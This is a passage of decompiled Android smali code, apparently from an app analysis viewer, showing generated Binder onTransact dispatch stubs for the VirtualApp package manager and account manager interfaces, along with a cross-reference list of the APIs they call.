                              404const-string v0, "com.lody.virtual.server.IPackageManager"
                              406invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              408invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              409move-result v0
                              410if-eqz v0, :cond_25c
                              412sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              414invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              415move-result-object v0
                              416check-cast v0, Landroid/content/Intent;
                              417goto_23f:
                              418invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              419move-result-object v1
                              421invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              422move-result v2
                              424invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              425move-result v5
                              427invoke-virtual {p0, v0, v1, v2, v5}, Lcom/lody/virtual/server/IPackageManager$Stub;->resolveService(Landroid/content/Intent;Ljava/lang/String;II)Landroid/content/pm/ResolveInfo;
                              428move-result-object v0
                              430invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              431if-eqz v0, :cond_25e
                              433invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              435invoke-virtual {v0, p3, v3}, Landroid/content/pm/ResolveInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              436goto/16 :goto_a
                              437cond_25c: move-object v0, v1
                              438goto/16 :goto_23f
                              439cond_25e:
                              440invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              441goto/16 :goto_a
                              442sswitch_263:
                              443const-string v0, "com.lody.virtual.server.IPackageManager"
                              445invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              447invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              448move-result v0
                              449if-eqz v0, :cond_28e
                              451sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              453invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              454move-result-object v0
                              455check-cast v0, Landroid/content/Intent;
                              456goto_276:
                              457invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              458move-result-object v1
                              460invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              461move-result v2
                              463invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              464move-result v4
                              466invoke-virtual {p0, v0, v1, v2, v4}, Lcom/lody/virtual/server/IPackageManager$Stub;->queryIntentServices(Landroid/content/Intent;Ljava/lang/String;II)Ljava/util/List;
                              467move-result-object v0
                              469invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              471invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              472goto/16 :goto_a
                              473cond_28e: move-object v0, v1
                              474goto/16 :goto_276
                              475sswitch_290:
                              476const-string v0, "com.lody.virtual.server.IPackageManager"
                              478invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              480invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              481move-result v0
                              482if-eqz v0, :cond_2bb
                              484sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              486invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              487move-result-object v0
                              488check-cast v0, Landroid/content/Intent;
                              489goto_2a3:
                              490invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              491move-result-object v1
                              493invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              494move-result v2
                              496invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              497move-result v4
                              499invoke-virtual {p0, v0, v1, v2, v4}, Lcom/lody/virtual/server/IPackageManager$Stub;->queryIntentContentProviders(Landroid/content/Intent;Ljava/lang/String;II)Ljava/util/List;
                              500move-result-object v0
                              502invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              504invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              505goto/16 :goto_a
                              506cond_2bb: move-object v0, v1
                              507goto/16 :goto_2a3
                              508sswitch_2bd:
                              509const-string v0, "com.lody.virtual.server.IPackageManager"
                              511invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              513invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              514move-result v0
                              516invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              517move-result v1
                              519invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IPackageManager$Stub;->getInstalledPackages(II)Lcom/lody/virtual/remote/VParceledListSlice;
                              520move-result-object v0
                              522invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              523if-eqz v0, :cond_2db
                              525invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              527invoke-virtual {v0, p3, v3}, Lcom/lody/virtual/remote/VParceledListSlice;->writeToParcel(Landroid/os/Parcel;I)V
                              528goto/16 :goto_a
                              529cond_2db:
                              530invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              531goto/16 :goto_a
                              532sswitch_2e0:
                              533const-string v0, "com.lody.virtual.server.IPackageManager"
                              535invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              537invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              538move-result v0
                              540invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              541move-result v1
                              543invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IPackageManager$Stub;->getInstalledApplications(II)Lcom/lody/virtual/remote/VParceledListSlice;
                              544move-result-object v0
                              546invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              547if-eqz v0, :cond_2fe
                              549invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              551invoke-virtual {v0, p3, v3}, Lcom/lody/virtual/remote/VParceledListSlice;->writeToParcel(Landroid/os/Parcel;I)V
                              552goto/16 :goto_a
                              553cond_2fe:
                              554invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              555goto/16 :goto_a
                              556sswitch_303:
                              557const-string v0, "com.lody.virtual.server.IPackageManager"
                              559invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              561invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              562move-result-object v0
                              564invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              565move-result v1
                              567invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IPackageManager$Stub;->getPermissionInfo(Ljava/lang/String;I)Landroid/content/pm/PermissionInfo;
                              568move-result-object v0
                              570invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              571if-eqz v0, :cond_321
                              573invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              575invoke-virtual {v0, p3, v3}, Landroid/content/pm/PermissionInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              576goto/16 :goto_a
                              577cond_321:
                              578invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              579goto/16 :goto_a
                              580sswitch_326:
                              581const-string v0, "com.lody.virtual.server.IPackageManager"
                              583invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              585invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              586move-result-object v0
                              588invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              589move-result v1
                              591invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IPackageManager$Stub;->queryPermissionsByGroup(Ljava/lang/String;I)Ljava/util/List;
                              592move-result-object v0
                              594invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              596invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              597goto/16 :goto_a
                              598sswitch_33f:
                              599const-string v0, "com.lody.virtual.server.IPackageManager"
                              601invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              603invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              604move-result-object v0
                              606invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              607move-result v1
                              609invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IPackageManager$Stub;->getPermissionGroupInfo(Ljava/lang/String;I)Landroid/content/pm/PermissionGroupInfo;
                              610move-result-object v0
                              612invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              613if-eqz v0, :cond_35d
                              615invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              617invoke-virtual {v0, p3, v3}, Landroid/content/pm/PermissionGroupInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              618goto/16 :goto_a
                              619cond_35d:
                              620invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              621goto/16 :goto_a
                              622sswitch_362:
                              623const-string v0, "com.lody.virtual.server.IPackageManager"
                              625invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              627invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              628move-result v0
                              630invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageManager$Stub;->getAllPermissionGroups(I)Ljava/util/List;
                              631move-result-object v0
                              633invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              635invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              636goto/16 :goto_a
                              637sswitch_377:
                              638const-string v0, "com.lody.virtual.server.IPackageManager"
                              640invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              642invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              643move-result-object v0
                              645invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              646move-result v1
                              648invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              649move-result v2
                              651invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->resolveContentProvider(Ljava/lang/String;II)Landroid/content/pm/ProviderInfo;
                              652move-result-object v0
                              654invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              655if-eqz v0, :cond_399
                              657invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              659invoke-virtual {v0, p3, v3}, Landroid/content/pm/ProviderInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              660goto/16 :goto_a
                              661cond_399:
                              662invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              663goto/16 :goto_a
                              664sswitch_39e:
                              665const-string v0, "com.lody.virtual.server.IPackageManager"
                              667invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              669invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              670move-result-object v0
                              672invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              673move-result v1
                              675invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              676move-result v2
                              678invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->getApplicationInfo(Ljava/lang/String;II)Landroid/content/pm/ApplicationInfo;
                              679move-result-object v0
                              681invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              682if-eqz v0, :cond_3c0
                              684invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              686invoke-virtual {v0, p3, v3}, Landroid/content/pm/ApplicationInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              687goto/16 :goto_a
                              688cond_3c0:
                              689invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              690goto/16 :goto_a
                              691sswitch_3c5:
                              692const-string v0, "com.lody.virtual.server.IPackageManager"
                              694invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              696invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              697move-result-object v0
                              699invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              700move-result v1
                              702invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              703move-result v2
                              705invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->queryContentProviders(Ljava/lang/String;II)Lcom/lody/virtual/remote/VParceledListSlice;
                              706move-result-object v0
                              708invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              709if-eqz v0, :cond_3e7
                              711invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              713invoke-virtual {v0, p3, v3}, Lcom/lody/virtual/remote/VParceledListSlice;->writeToParcel(Landroid/os/Parcel;I)V
                              714goto/16 :goto_a
                              715cond_3e7:
                              716invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              717goto/16 :goto_a
                              718sswitch_3ec:
                              719const-string v0, "com.lody.virtual.server.IPackageManager"
                              721invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              723invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              724move-result-object v0
                              726invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageManager$Stub;->querySharedPackages(Ljava/lang/String;)Ljava/util/List;
                              727move-result-object v0
                              729invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              731invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStringList(Ljava/util/List;)V
                              732goto/16 :goto_a
                              733sswitch_401:
                              734const-string v0, "com.lody.virtual.server.IPackageManager"
                              736invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              738invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              739move-result v0
                              741invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageManager$Stub;->getNameForUid(I)Ljava/lang/String;
                              742move-result-object v0
                              744invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              746invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              747goto/16 :goto_a
                              748sswitch_416:
                              749const-string v0, "com.lody.virtual.server.IPackageManager"
                              751invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              753invoke-virtual {p0}, Lcom/lody/virtual/server/IPackageManager$Stub;->getPackageInstaller()Lcom/lody/virtual/server/IPackageInstaller;
                              754move-result-object v0
                              756invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              757if-eqz v0, :cond_428
                              759invoke-interface {v0}, Lcom/lody/virtual/server/IPackageInstaller;->asBinder()Landroid/os/IBinder;
                              760move-result-object v1
                              761cond_428:
                              762invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              763goto/16 :goto_a
                              764nop
                              Cross References
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAccountManager$Stub.getAuthenticatorTypes
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedArray
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.createStringArray
                              • com.lody.virtual.server.IAccountManager$Stub.getAccountsByFeatures
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.getPreviousName
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.getAccounts
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedArray
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.os.Bundle.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.getAuthToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.setPassword
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.setAuthToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.setUserData
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.createStringArray
                              • com.lody.virtual.server.IAccountManager$Stub.hasFeatures
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.os.Bundle.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.updateCredentials
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAccountManager$Stub.editProperties
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.getAuthTokenLabel
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.getUserData
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.getPassword
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.os.Bundle.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAccountManager$Stub.confirmCredentials
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • android.os.Parcel.createStringArray
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.os.Bundle.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.addAccount
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Bundle.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.addAccountExplicitly
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.removeAccountExplicitly
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.renameAccount
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • android.accounts.IAccountManagerResponse$Stub.asInterface
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAccountManager$Stub.removeAccount
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.clearPassword
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IAccountManager$Stub.accountAuthenticated
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.invalidateAuthToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.accounts.Account.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAccountManager$Stub.peekAuthToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              Strings
                              • com.lody.virtual.server.IAccountManager
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x0
                              2const/4 v7, 0x0
                              3const/4 v8, 0x1
                              4sparse-switch p1, :sswitch_data_41e
                              6invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              7move-result v8
                              8goto_a: return v8
                              9sswitch_b:
                              10const-string v0, "com.lody.virtual.server.IAccountManager"
                              12invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              13goto/16 :goto_a
                              14sswitch_11:
                              15const-string v0, "com.lody.virtual.server.IAccountManager"
                              17invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              19invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              20move-result v0
                              22invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IAccountManager$Stub;->getAuthenticatorTypes(I)[Landroid/accounts/AuthenticatorDescription;
                              23move-result-object v0
                              25invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              27invoke-virtual {p3, v0, v8}, Landroid/os/Parcel;->writeTypedArray([Landroid/os/Parcelable;I)V
                              28goto/16 :goto_a
                              29sswitch_25:
                              30const-string v0, "com.lody.virtual.server.IAccountManager"
                              32invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              34invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              35move-result v0
                              37invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              38move-result-object v1
                              40invoke-static {v1}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              41move-result-object v1
                              43invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              44move-result-object v2
                              46invoke-virtual {p2}, Landroid/os/Parcel;->createStringArray()[Ljava/lang/String;
                              47move-result-object v3
                              49invoke-virtual {p0, v0, v1, v2, v3}, Lcom/lody/virtual/server/IAccountManager$Stub;->getAccountsByFeatures(ILandroid/accounts/IAccountManagerResponse;Ljava/lang/String;[Ljava/lang/String;)V
                              51invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              52goto/16 :goto_a
                              53sswitch_45:
                              54const-string v0, "com.lody.virtual.server.IAccountManager"
                              56invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              58invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              59move-result v1
                              61invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              62move-result v0
                              63if-eqz v0, :cond_67
                              65sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              67invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              68move-result-object v0
                              69check-cast v0, Landroid/accounts/Account;
                              70goto_5c:
                              71invoke-virtual {p0, v1, v0}, Lcom/lody/virtual/server/IAccountManager$Stub;->getPreviousName(ILandroid/accounts/Account;)Ljava/lang/String;
                              72move-result-object v0
                              74invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              76invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              77goto/16 :goto_a
                              78cond_67: move-object v0, v7
                              79goto/16 :goto_5c
                              80sswitch_69:
                              81const-string v0, "com.lody.virtual.server.IAccountManager"
                              83invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              85invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              86move-result v0
                              88invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              89move-result-object v1
                              91invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IAccountManager$Stub;->getAccounts(ILjava/lang/String;)[Landroid/accounts/Account;
                              92move-result-object v0
                              94invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              96invoke-virtual {p3, v0, v8}, Landroid/os/Parcel;->writeTypedArray([Landroid/os/Parcelable;I)V
                              97goto/16 :goto_a
                              98sswitch_81:
                              99const-string v0, "com.lody.virtual.server.IAccountManager"
                              101invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              103invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              104move-result v1
                              106invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              107move-result-object v0
                              109invoke-static {v0}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              110move-result-object v2
